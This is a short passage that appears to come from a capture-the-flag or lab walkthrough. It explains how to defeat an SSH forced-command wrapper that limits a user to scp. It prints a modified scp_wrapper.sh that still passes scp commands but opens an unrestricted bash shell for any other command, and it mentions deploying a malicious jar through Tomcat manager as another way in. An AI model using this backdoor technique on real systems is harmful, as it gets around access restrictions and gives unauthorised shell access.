This script is using for limiting the ssh user command to just scp. When we connect with ssh, /home/max/scp_wrapper.sh will be executed. So we can change this script with as we want to unlimited access. Or we can use tomcat manager with evil jar deploying to get initial shell.
Initial Access
Edit the file as follows
zipfiles/max/max/scp_wrapper.sh
#!/bin/bash
case $SSH_ORIGINAL_COMMAND in
'scp'*)
$SSH_ORIGINAL_COMMAND
;;
*)
echo "haha!"
bash
;;
esac